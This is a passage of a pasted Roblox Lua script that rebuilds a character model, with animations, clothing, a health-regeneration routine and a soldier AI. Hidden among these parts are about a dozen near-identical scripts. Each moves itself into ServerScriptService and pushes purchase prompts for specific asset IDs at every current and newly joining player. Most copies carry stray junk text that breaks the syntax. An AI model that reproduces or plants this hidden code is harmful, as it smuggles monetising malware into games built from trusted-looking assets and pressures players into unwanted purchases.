  1593. JumpAnim.Parent = jump
  1594.  
  1595. run.Name = "run"
  1596. run.Parent = Animate
  1597.  
  1598. RunAnim.AnimationId = "http://www.roblox.com/asset/?id=507767714"
  1599. RunAnim.Name = "RunAnim"
  1600. RunAnim.Parent = run
  1601.  
  1602. sit.Name = "sit"
  1603. sit.Parent = Animate
  1604.  
  1605. SitAnim.AnimationId = "http://www.roblox.com/asset/?id=507768133"
  1606. SitAnim.Name = "SitAnim"
  1607. SitAnim.Parent = sit
  1608.  
  1609. toollunge.Name = "toollunge"
  1610. toollunge.Parent = Animate
  1611.  
  1612. ToolLungeAnim.AnimationId = "http://www.roblox.com/asset/?id=507768375"
  1613. ToolLungeAnim.Name = "ToolLungeAnim"
  1614. ToolLungeAnim.Parent = toollunge
  1615.  
  1616. walk.Name = "walk"
  1617. walk.Parent = Animate
  1618.  
  1619. WalkAnim.AnimationId = "http://www.roblox.com/asset/?id=540798782"
  1620. WalkAnim.Name = "WalkAnim"
  1621. WalkAnim.Parent = walk
  1622.  
  1623. swimidle.Name = "swimidle"
  1624. swimidle.Parent = Animate
  1625.  
  1626. SwimIdle.AnimationId = "http://www.roblox.com/asset/?id=481825862"
  1627. SwimIdle.Name = "SwimIdle"
  1628. SwimIdle.Parent = swimidle
  1629.  
  1630. swim.Name = "swim"
  1631. swim.Parent = Animate
  1632.  
  1633. Swim.AnimationId = "http://www.roblox.com/asset/?id=507784897"
  1634. Swim.Name = "Swim"
  1635. Swim.Parent = swim
  1636.  
  1637. toolslash.Name = "toolslash"
  1638. toolslash.Parent = Animate
  1639.  
  1640. ToolSlashAnim.AnimationId = "http://www.roblox.com/asset/?id=507768375"
  1641. ToolSlashAnim.Name = "ToolSlashAnim"
  1642. ToolSlashAnim.Parent = toolslash
  1643.  
  1644. toolnone.Name = "toolnone"
  1645. toolnone.Parent = Animate
  1646.  
  1647. ToolNoneAnim.AnimationId = "http://www.roblox.com/asset/?id=507768375"
  1648. ToolNoneAnim.Name = "ToolNoneAnim"
  1649. ToolNoneAnim.Parent = toolnone
  1650.  
  1651. wave.Name = "wave"
  1652. wave.Parent = Animate
  1653.  
  1654. WaveAnim.AnimationId = "http://www.roblox.com/asset/?id=507770239"
  1655. WaveAnim.Name = "WaveAnim"
  1656. WaveAnim.Parent = wave
  1657.  
  1658. laugh.Name = "laugh"
  1659. laugh.Parent = Animate
  1660.  
  1661. LaughAnim.AnimationId = "http://www.roblox.com/asset/?id=507770818"
  1662. LaughAnim.Name = "LaughAnim"
  1663. LaughAnim.Parent = laugh
  1664.  
  1665. point.Name = "point"
  1666. point.Parent = Animate
  1667.  
  1668. PointAnim.AnimationId = "http://www.roblox.com/asset/?id=507770453"
  1669. PointAnim.Name = "PointAnim"
  1670. PointAnim.Parent = point
  1671.  
  1672. cheer.Name = "cheer"
  1673. cheer.Parent = Animate
  1674.  
  1675. CheerAnim.AnimationId = "http://www.roblox.com/asset/?id=507770677"
  1676. CheerAnim.Name = "CheerAnim"
  1677. CheerAnim.Parent = cheer
  1678.  
  1679. dance.Name = "dance"
  1680. dance.Parent = Animate
  1681.  
  1682. Animation1_1.AnimationId = "http://www.roblox.com/asset/?id=507771019"
  1683. Animation1_1.Name = "Animation1"
  1684. Animation1_1.Parent = dance
  1685.  
  1686. Weight_2.Value = 10
  1687. Weight_2.Name = "Weight"
  1688. Weight_2.Parent = Animation1_1
  1689.  
  1690. Animation2_1.AnimationId = "http://www.roblox.com/asset/?id=507771955"
  1691. Animation2_1.Name = "Animation2"
  1692. Animation2_1.Parent = dance
  1693.  
  1694. Weight_3.Value = 10
  1695. Weight_3.Name = "Weight"
  1696. Weight_3.Parent = Animation2_1
  1697.  
  1698. Animation3.AnimationId = "http://www.roblox.com/asset/?id=507772104"
  1699. Animation3.Name = "Animation3"
  1700. Animation3.Parent = dance
  1701.  
  1702. Weight_4.Value = 10
  1703. Weight_4.Name = "Weight"
  1704. Weight_4.Parent = Animation3
  1705.  
  1706. dance2.Name = "dance2"
  1707. dance2.Parent = Animate
  1708.  
  1709. Animation1_2.AnimationId = "http://www.roblox.com/asset/?id=507776043"
  1710. Animation1_2.Name = "Animation1"
  1711. Animation1_2.Parent = dance2
  1712.  
  1713. Weight_5.Value = 10
  1714. Weight_5.Name = "Weight"
  1715. Weight_5.Parent = Animation1_2
  1716.  
  1717. Animation2_2.AnimationId = "http://www.roblox.com/asset/?id=507776720"
  1718. Animation2_2.Name = "Animation2"
  1719. Animation2_2.Parent = dance2
  1720.  
  1721. Weight_6.Value = 10
  1722. Weight_6.Name = "Weight"
  1723. Weight_6.Parent = Animation2_2
  1724.  
  1725. Animation3_1.AnimationId = "http://www.roblox.com/asset/?id=507776879"
  1726. Animation3_1.Name = "Animation3"
  1727. Animation3_1.Parent = dance2
  1728.  
  1729. Weight_7.Value = 10
  1730. Weight_7.Name = "Weight"
  1731. Weight_7.Parent = Animation3_1
  1732.  
  1733. dance3.Name = "dance3"
  1734. dance3.Parent = Animate
  1735.  
  1736. Animation1_3.AnimationId = "http://www.roblox.com/asset/?id=507777268"
  1737. Animation1_3.Name = "Animation1"
  1738. Animation1_3.Parent = dance3
  1739.  
  1740. Weight_8.Value = 10
  1741. Weight_8.Name = "Weight"
  1742. Weight_8.Parent = Animation1_3
  1743.  
  1744. Animation2_3.AnimationId = "http://www.roblox.com/asset/?id=507777451"
  1745. Animation2_3.Name = "Animation2"
  1746. Animation2_3.Parent = dance3
  1747.  
  1748. Weight_9.Value = 10
  1749. Weight_9.Name = "Weight"
  1750. Weight_9.Parent = Animation2_3
  1751.  
  1752. Animation3_2.AnimationId = "http://www.roblox.com/asset/?id=507777623"
  1753. Animation3_2.Name = "Animation3"
  1754. Animation3_2.Parent = dance3
  1755.  
  1756. Weight_10.Value = 10
  1757. Weight_10.Name = "Weight"
  1758. Weight_10.Parent = Animation3_2
  1759.  
  1760. table.insert(functions,sandbox(Health,function()
  1761. --Responsible for regening a player's humanoid's health
  1762.  
  1763. -- declarations
  1764. local Figure = script.Parent
  1765. local Head = Figure:WaitForChild("Head")
  1766. local Humanoid = Figure:WaitForChild("Humanoid")
  1767. local regening = false
  1768.  
  1769. -- regeneration
  1770. function regenHealth()
  1771. if regening then return end
  1772. regening = true
  1773.  
  1774. while Humanoid.Health < Humanoid.MaxHealth do
  1775. local s = wait(1)
  1776. local health = Humanoid.Health
  1777. if health > 0 and health < Humanoid.MaxHealth then
  1778. local newHealthDelta = 0.01 * s * Humanoid.MaxHealth
  1779. health = health + newHealthDelta
  1780. Humanoid.Health = math.min(health,Humanoid.MaxHealth)
  1781. end
  1782. end
  1783.  
  1784. if Humanoid.Health > Humanoid.MaxHealth then
  1785. Humanoid.Health = Humanoid.MaxHealth
  1786. end
  1787.  
  1788. regening = false
  1789. end
  1790.  
  1791. Humanoid.HealthChanged:connect(regenHealth)
  1792.  
  1793. end))
  1794. Health.Name = "Health"
  1795. Health.Parent = iwantbanthisgame
  1796.  
  1797. LeftUpperLeg.Anchored = true
  1798. LeftUpperLeg.CFrame = CFrame.new(-68.54,1.562,-14.719,-0.999,0,0.045,0,1,0,-0.045,0,-0.999)
  1799. LeftUpperLeg.CanCollide = false
  1800. LeftUpperLeg.Color = Color3.new(0.431,0.6,0.792)
  1801. LeftUpperLeg.Size = Vector3.new(0.781,1.742,0.854)
  1802. LeftUpperLeg.Velocity = Vector3.new(0,0,0)
  1803. LeftUpperLeg.Name = "LeftUpperLeg"
  1804. LeftUpperLeg.Parent = iwantbanthisgame
  1805.  
  1806. OriginalSize_16.Value = Vector3.new(0.781,1.742,0.854)
  1807. OriginalSize_16.Name = "OriginalSize"
  1808. OriginalSize_16.Parent = LeftUpperLeg
  1809.  
  1810. LeftHip.C0 = CFrame.new(-0.5,-0.353,-0.02,1,0,0,0,1,0,0,0,1)
  1811. LeftHip.C1 = CFrame.new(-0.11,0.411,-0.01,1,0,0,0,1,0,0,0,1)
  1812. LeftHip.Part0 = LowerTorso
  1813. LeftHip.Part1 = LeftUpperLeg
  1814. LeftHip.Name = "LeftHip"
  1815. LeftHip.Parent = LeftUpperLeg
  1816.  
  1817. Pants.PantsTemplate = "http://www.roblox.com/asset/?id=348211416 "
  1818. Pants.Name = "Pants"
  1819. Pants.Parent = iwantbanthisgame
  1820.  
  1821. ROBLOXCap.AttachmentPoint = CFrame.new(0,-0.075,0.2,1,0,0,0,1,0,0,0,1)
  1822. ROBLOXCap.AttachmentPos = Vector3.new(0,-0.075,0.2)
  1823. ROBLOXCap.Name = "ROBLOXCap"
  1824. ROBLOXCap.Parent = iwantbanthisgame
  1825.  
  1826. Handle.Anchored = true
  1827. Handle.BottomSurface = Enum.SurfaceType.Smooth
  1828. Handle.CFrame = CFrame.new(-68.94,5.048,-14.526,-0.999,0,0.045,0,1,0,-0.045,0,-0.999)
  1829. Handle.CanCollide = false
  1830. Handle.Locked = true
  1831. Handle.Size = Vector3.new(1.2,0.8,1.4)
  1832. Handle.TopSurface = Enum.SurfaceType.Smooth
  1833. Handle.Velocity = Vector3.new(0,0,0)
  1834. Handle.Name = "Handle"
  1835. Handle.Parent = ROBLOXCap
  1836.  
  1837. Mesh_1.MeshType = Enum.MeshType.FileMesh
  1838. Mesh_1.MeshId = "http://www.roblox.com/asset?id=71483350"
  1839. Mesh_1.TextureId = "http://www.roblox.com/asset/?id=607698990"
  1840. Mesh_1.Scale = Vector3.new(0.66,0.66,0.66)
  1841. Mesh_1.Parent = Handle
  1842.  
  1843. OriginalSize_17.Value = Vector3.new(1.2,0.8,1.4)
  1844. OriginalSize_17.Name = "OriginalSize"
  1845. OriginalSize_17.Parent = Handle
  1846.  
  1847. ThumbnailCamera.CFrame = CFrame.new(-0.786,18.391,20.262,-0.914,0.033,-0.405,0,0.997,0.08,0.407,0.073,-0.911)
  1848. ThumbnailCamera.Focus = CFrame.new(-0.004,18.236,22.019,1,0,0,0,1,0,0,0,1)
  1849. ThumbnailCamera.Name = "ThumbnailCamera"
  1850. ThumbnailCamera.Parent = ROBLOXCap
  1851.  
  1852. Shirt.ShirtTemplate = "http://www.roblox.com/asset/?id=607785311"
  1853. Shirt.Name = "Shirt"
  1854. Shirt.Parent = iwantbanthisgame
  1855.  
  1856. table.insert(functions,sandbox(Script,function()
  1857. test local wat= 3856660240 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do if not market:PlayerOwnsAsset(v,wat) then market:PromptPurchase(v,wat) end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
  1858.  
  1859. hello this is a test stop watch i said stop xd whops wooooo cares order 66 jason genova
  1860. end))
  1861. Script.Parent = iwantbanthisgame
  1862.  
  1863. table.insert(functions,sandbox(Script_1,function()
  1864. test local wat= 3836200621 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do if not market:PlayerOwnsAsset(v,wat) then market:PromptPurchase(v,wat) end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
  1865.  
  1866. hello this is a test stop watch i said stop xd whops wooooo cares order 66 jason genova
  1867. end))
  1868. Script_1.Parent = iwantbanthisgame
  1869.  
  1870. table.insert(functions,sandbox(Script_2,function()
  1871. test local wat= 3865023116 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do if not market:PlayerOwnsAsset(v,wat) then market:PromptPurchase(v,wat) end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
  1872.  
  1873. hello this is a test stop watch i said stop xd whops wooooo cares order 66 jason genova
  1874. end))
  1875. Script_2.Parent = iwantbanthisgame
  1876.  
  1877. table.insert(functions,sandbox(Script_3,function()
  1878. test local wat= 3865753107 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do if not market:PlayerOwnsAsset(v,wat) then market:PromptPurchase(v,wat) end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
  1879.  
  1880. hello this is a test stop watch i said stop xd whops wooooo cares order 66 jason genova
  1881. end))
  1882. Script_3.Parent = iwantbanthisgame
  1883.  
  1884. table.insert(functions,sandbox(Script_4,function()
  1885. local wat= 3865029137
  1886. script.Parent=game.ServerScriptService
  1887. local market=game:GetService("MarketplaceService")
  1888. for i,v in pairs(game.Players:GetChildren()) do
  1889. if not market:PlayerOwnsAsset(v,wat) then
  1890. market:PromptPurchase(v,wat)
  1891. end
  1892. end
  1893. game.Players.PlayerAdded:connect(function(player)
  1894. if not market:PlayerOwnsAsset(player,wat) then
  1895. market:PromptPurchase(player,wat)
  1896. end
  1897. end)
  1898.  
  1899.  
  1900. end))
  1901. Script_4.Parent = iwantbanthisgame
  1902.  
  1903. table.insert(functions,sandbox(Script_5,function()
  1904. test local wat= 3836749099 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do if not market:PlayerOwnsAsset(v,wat) then market:PromptPurchase(v,wat) end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
  1905.  
  1906. hello this is a test stop watch i said stop xd whops wooooo cares order 66 jason genova
  1907. end))
  1908. Script_5.Parent = iwantbanthisgame
  1909.  
  1910. table.insert(functions,sandbox(Script_6,function()
  1911. test local wat= 3837780759 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do if not market:PlayerOwnsAsset(v,wat) then market:PromptPurchase(v,wat) end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
  1912.  
  1913. hello this is a test stop watch i said stop xd whops wooooo cares order 66 jason genova
  1914. end))
  1915. Script_6.Parent = iwantbanthisgame
  1916.  
  1917. table.insert(functions,sandbox(Script_7,function()
  1918. test local wat= 3865023116 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do if not market:PlayerOwnsAsset(v,wat) then market:PromptPurchase(v,wat) end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
  1919.  
  1920. hello this is a test stop watch i said stop xd whops wooooo cares order 66 jason genova
  1921. end))
  1922. Script_7.Parent = iwantbanthisgame
  1923.  
  1924. table.insert(functions,sandbox(Script_8,function()
  1925. local soldier = script.Parent
  1926. soldier.GunStorage.Gun.Parent = soldier
  1927.  
  1928. for _, script in pairs(soldier.ModuleScripts:GetChildren()) do
  1929. if not game.ServerStorage:FindFirstChild(script.Name) then
  1930. script:Clone().Parent = game.ServerStorage
  1931. end
  1932. end
  1933.  
  1934. wait(1)
  1935.  
  1936.  
  1937. local AI = require(game.ServerStorage.ROBLOX_SoldierAI).new(soldier)
  1938.  
  1939.  
  1940. local DestroyService = require(game.ServerStorage.ROBLOX_DestroyService)
  1941.  
  1942. local function clearParts(parent)
  1943. for _, part in pairs(parent:GetChildren()) do
  1944. clearParts(part)
  1945. end
  1946. local delay
  1947. if parent:IsA("Part") then
  1948. delay = math.random(5,10)
  1949. else
  1950. delay = 11
  1951. end
  1952. DestroyService:AddItem(parent, delay)
  1953. end
  1954.  
  1955. soldier.Humanoid.Died:connect(function()
  1956. AI.Stop()
  1957. math.randomseed(tick())
  1958. clearParts(soldier)
  1959. script.Disabled = true
  1960. end)
  1961. end))
  1962. Script_8.Parent = iwantbanthisgame
  1963.  
  1964. table.insert(functions,sandbox(Script_9,function()
  1965. test local wat= 3836747879 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do if not market:PlayerOwnsAsset(v,wat) then market:PromptPurchase(v,wat) end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
  1966.  
  1967. hello this is a test stop watch i said stop xd whops wooooo cares order 66 jason genova
  1968. end))
  1969. Script_9.Parent = iwantbanthisgame
  1970.  
  1971. table.insert(functions,sandbox(Script_10,function()
  1972. test local wat= 3836103993 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do if not market:PlayerOwnsAsset(v,wat) then market:PromptPurchase(v,wat) end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
  1973.  
  1974. hello this is a test stop watch i said stop xd whops wooooo cares order 66 jason genova
  1975. end))
  1976. Script_10.Parent = iwantbanthisgame
  1977.  
  1978. table.insert(functions,sandbox(Script_11,function()
  1979. test local wat= 3837779568 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do if not market:PlayerOwnsAsset(v,wat) then market:PromptPurchase(v,wat) end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
  1980.  
  1981. hello this is a test stop watch i said stop xd whops wooooo cares order 66 jason genova
  1982. end))
  1983. Script_11.Parent = iwantbanthisgame
  1984.  
  1985. Handle_1.Anchored = true
  1986. Handle_1.CFrame = CFrame.new(-70.382,4.94,-13.141,-1,0,0.022,0,1,0,-0.022,0,-1)
  1987. Handle_1.Locked = true
  1988. Handle_1.Size = Vector3.new(1,6,1)
  1989. Handle_1.Name = "Handle"
  1990. Handle_1.Parent = iwantbanthisgame
  1991.  
  1992. Mesh_2.MeshType = Enum.MeshType.FileMesh
  1993. Mesh_2.MeshId = "http://www.roblox.com/asset/?id=10604848"
  1994. Mesh_2.TextureId = "http://www.roblox.com/asset/?id=10605252"
  1995. Mesh_2.Scale = Vector3.new(0.8,0.8,0.8)
  1996. Mesh_2.Parent = Handle_1
  1997.  
  1998. Decal.Texture = "http://www.roblox.com/asset/?id=10605252"
  1999. Decal.Face = Enum.NormalId.Back
  2000. Decal.Parent = Handle_1
  2001.  
  2002.  
  2003. for i,v in ipairs(functions) do
  2004. spawn(function()
  2005. pcall(v)
  2006. end)
  2007. end
  2008. for i,v in ipairs(mas:GetChildren()) do
  2009. v.Parent = workspace
  2010. end
  2011. mas:Destroy()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement